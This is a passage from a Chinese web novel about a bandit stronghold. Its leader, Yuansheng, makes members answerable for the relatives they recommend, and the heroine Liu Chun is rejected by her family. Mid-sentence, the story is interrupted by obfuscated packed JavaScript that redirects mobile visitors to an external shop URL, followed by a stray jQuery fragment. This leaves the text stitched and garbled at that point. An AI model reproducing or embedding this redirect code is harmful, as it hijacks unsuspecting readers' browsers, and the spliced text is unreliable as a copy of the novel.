这是第一个事,第二个事便是山寨众人的亲戚。不要大惊小怪,山寨里的人当然是有亲戚的,她们总不能是从石头缝里蹦出来的。很多人认为山寨里土匪都是光棍一条,无父无母,那只有石头是这样子的。
他们大多数是周围失地的农民,就像猴子和老孙头这样;还有一部分是得罪了当地的大户或者犯了一些错,比如说王杏儿和她丈夫,就是因为王杏儿嫁到她丈夫家不久被村里的大户调戏,王杏儿的丈夫还被打,所以她们才跑到黑风寨的。
而李晓雅也是这附近的,她是因为她娘死了,她爹娶了个后娘。她是为了给她的后娘的弟弟换亲才嫁过去的,但是她的丈夫脾气暴躁,打伤了人,于是带她上了黑风寨。对,她的娘虽然死了,可是她爹还活着,她后娘还给她生了弟弟妹妹。
这次元生占领了李家庄到小柳村这一带,沿河60多里的地盘,周围的七大姑八大姨一看到她们现在个个精神抖擞,有吃有穿,又有元生发的月银,而且还被元生分配类似于一小头目之类的工作,手底下还能使唤几个人,便都围了上来。这个说我是你们村的,那个说我是你的姑表亲,还有的说小时候我们一起和过泥之类。有一部分人算是头脑清楚,可也经不住有些人耳根子软,受人吹捧几句不禁就洋洋自得,甚至想立刻拍胸脯,保证给他们安排活计之类。
只是那些男子都知道元生对待男子一向不客气,于是就暗中撺掇让人去找那些女子,说女子心肠软,哭诉几句,让她们向寨主求情,如果寨主允许,他们就可以跟着那些女子一起安插差亲友了。
孙玉真家里是富户,辗转了很多次才到黑风寨,所以说这附近没有她的亲人。但李晓雅、刘春不同,她们都是附近村子里的,还有牛小花、王杏儿。
牛小花是因为丈夫死了,后来孩子也死了,正好黑风寨原先的寨主是她的一个远房亲戚,所以她才上黑风寨的。她一向泼辣,又是一个只能占便宜不能吃亏的性格,所以去找她的人,都被她骂得个狗血喷头。
李晓雅被她父亲找上门来,还有她后娘、她的舅舅,她有些害怕元生。可是心里也想照顾一下亲戚,其中还隐隐夹杂着她后妈向她低头求情所带来的快意,以及衣锦还乡带来的自得。
于是,她左思右想之下,知道她舅舅与刘春家所在的村庄有亲戚,悄声说:“刘春最受元生信赖,只要刘春给她们家里人求情,就能够得到好差事。”
刘春心里此时正有些迷茫。她其实早就见到了她家里人,是有一次在小柳村,她在小柳村村口,前来磨面买油的人群中看到了她大姐夫,她大姐夫好像没有看到她,买了东西就匆匆离去。刘春站在一边也没有叫住她大姐夫。只是晚上辗转反侧了很久。
还有一次是元生带着她们几个巡视村落的时候,她骑在马上,看见了她爹带着她弟弟畏畏缩缩的,站在路旁离得老远。
元生对她们几个相当宽松的,除了教授课业、督促训练、检查进度外,对其他的事情,基本上都是放任她们自主。
可是她也没有去找她娘家。刘春在夜里,自己一个人思考了很久,心乱如麻,思绪纷飞,不知道自己到底是怎么想的。
等到她听说有人来找她的时候,她才明白,其实她并不想和她们相认,而且心里还隐藏着一丝怨恨,她是被抢上山去。她不想面对以前那个懦弱的、卑贱的、无人问津的自己。
刘春出去见了她的家人。是她大哥和她嫂子,她大哥和嫂子的意思是到李家庄这里找个活干,她大哥低着头,讷讷地说完,然后蹲在了地上。不敢看刘春。她嫂子站在一旁仔细地打量着刘春,她发现二妮已完全变了样,如果不是有人告诉她们,她们根本认不出来,这就是原来的二妮。她长高了,也长胖了,又高又壮,身体显得特别结实。
像她们几个头目都有元生专门给的福利,面色红润,神色坚定从容,简直像一个大人物,根本不像是一个小小的村姑。她嫂子连忙笑道:“家里这些年很想念你,你什么时候回家里?”她哥闻言抬起头,惊讶地看了她嫂子一眼,刘春便明白,她家里其实并不想和刘春这个土匪产生关系。
刘春想了想,没有答应给她哥和她嫂子安排活,而是拿出了二两银子给她哥和她嫂子,让他们拿回去孝敬父母。
等到第二次,这回是刘春的娘带着她妹妹来了,她娘佝偻着身子,头发花白,身上穿得破烂不堪,她的小妹也是这样,元生看着她小妹,就好像看到原来的自己,她娘和小妹也有些不敢认刘春。
刘春对她们倒是还有些可怜,连忙给她们拿了些吃食,又给她们一些布匹。刘春娘一看到刘春这样,才觉得这就是她生的那个二妮,拉着刘春的手哭诉着家里多么不容易,侄子们都吃不上饭,想上学之类的。
刘春给了一些衣服和吃食,把她们送走了。第三次她娘和她小妹过来,发现她们两个身上的衣服仍然破破烂烂。她给了她小妹一些食物,她小妹立刻狼吞虎咽起来。她就明白,她给的那些衣服和吃食根本到不了她娘和她小妹身上,于是就不再给了。
她娘走的时候大失所望。于是她爹还有她哥哥、弟弟都来了,她哥跟她弟弟只是站在一旁,她娘就不断地哭诉,她嫂子一边拉着她,一边哀求,她爹却指着她,破口大骂,说她不孝云云,就这样几次三番,元生也知道了。
元生把刘春叫过来,问了些情况,刘春忐忑不安地说完,有些羞愧地低下了头,元生轻声道:“我知道了。”然后吩咐把所有人召集起来,尤其是山寨里的人。
等众人召集起来后,元生温和道:“我听说现在大家都有很多亲朋好友想来我们这里干活。”众人都不敢言语,只是有些人神色变幻,牛小花一脸扬扬得意。元生看在眼里,继续道:“其实有很多人就会想,我们这里还缺人干活,来这里干活有什么不好,何况还是亲戚。”
底下的气氛不由得松动了一些,有些人甚至不由自主地点头。
元生道:“谁也不是石头缝里钻出来的,大家都有些亲戚朋友,其实大家想到这里干活当然可以。”元生此话一出,底下顿时一阵嗡嗡声,很多人面露喜色地看着元生。
元生道:“来我们这里干活是件好事,我欢迎她们来干活,不过呢,我有句话先和大家说在前头,凡是你们介绍进来的亲戚朋友,就由你们承担责任。”
很多人有些不明所以,元生道:“什么责任呢?这很简单。比如说你介绍一个人过来让她干活,但她这个人呢,干不好,或者说你分配的活儿她干不了,就把这事情搞砸了,怎么办?那她就要赔偿损失,同时由于是第一次,人嘛,总有不熟悉的、不熟练的地方,何况谁还没有看走眼的时候呢,这是第一次,然后你又介绍了一个人,这个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17617514|205521||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
人她干的活儿仍然没有干好,仍然出了纰漏。”
元生神色严肃起来。“那么这是第二次了,那么你们就要承担连带责任,什么叫连带责任呢?连带责任就是说,她干活儿出了差错,造成的损失由她赔偿,如果她赔偿不了,则由你来承担。”
这时候底下的人心里不由得一沉,有些被吹捧得飘飘然、头脑发热的人,一听关系到自己的银子,也冷静下来。元生继续道:
“这是第二次,你们只要赔偿银子就行了,那么第三次你们推荐的人仍然出了错误,那么不管是无心的,还是照顾亲友,那么至少说明你这个人没有识人之明,而且以权谋私,就是要把不适合的人硬安排下去。”
许多人都低下了头。
元生道:“这时候就不光是赔银子的事儿了,你们最轻的处罚是调岗降职,如果情节严重、损失特别严重,你们甚至要一起服苦役。”众人一听,心里不由得打个激灵,连忙想到,某某十分不靠谱,坚决不能让他来到这里。元生又放缓道:“当然,我们这里缺人手,还是欢迎有些能人来,比如说我曾对她们村民说,如果能引进工匠,或者干活特别卖力、特别聪明的人和学生,那么推荐的人也会有奖励。”
众人都在心里不由得细细地思量起来。关系到自己的银子和前途,自然都慎重了许多。
元生道:“另外,干活和读书都可以,但还是那个要求,至少是一个女子带着一个男子,不论是读书还是干活,绝不允许只举荐男子来读书、干活。”
她环顾众人,神情冷冷地道。众人连忙应是。
在元生说完这番话之后,刘春亲自到家里想把她妹妹以及她的侄子侄女带过来读书,让她哥哥和弟弟做工。
可她父亲不让她妹妹去读书,也不想让她哥哥、弟弟去做工。她父亲骂道:“你这个土匪婆子,还想把自己的妹妹卖到土匪窝里去?你哥哥和弟弟怎么能跟着土匪干活。”
刘春说服不了父母。就想离开。她父母不依不饶,拦住刘春,让她把银子拿出来。刘春不愿,她父亲就破口大骂:“你这个天打雷劈的不孝女。”刘春看着父亲狰狞的面孔,瞪着她,好像看着仇人,那目光好像要把她扒皮剥骨。哥哥和弟弟在一旁不语,母亲哭诉道:“你以后还要依靠你兄弟,你要回报娘家呀!”她身上一阵发冷,心中刺痛,仓皇逃离了那个地方。
回到山寨她神思不属。晚上元生上课后。她神色凄惶的坐在那里,她想问元生:“为什么?这到底是为什么?为什么,为什么要这样对她?”
众人都知道了她的遭遇,刘荷花咬牙道:“为什么?为什么她们对于女儿和儿子不一样,不都是她们身上掉下来的肉吗?”
王杏儿叹了一口气道:“当然不一样了。儿子是给她们养老的,而女儿是嫁到别人家。是赔钱货。”
刘荷花愤愤道:“我挣钱了,我也愿意为她们养老。”
李晓雅:“那怎么可能?你家有儿子,怎么会让女儿留在家里给她们养老?”
元生淡淡道:“不错。这就是她们为什么对儿子和女儿不同,是因为她们对儿子和女儿的期盼不同,儿子可以为她们养老。”众女都叹气,刘春心里泛起一阵苦涩。
元生看着她们:“可是你们都弄错了。事实上,是女儿不愿为父母养老吗?是女儿不愿留在家里吗?”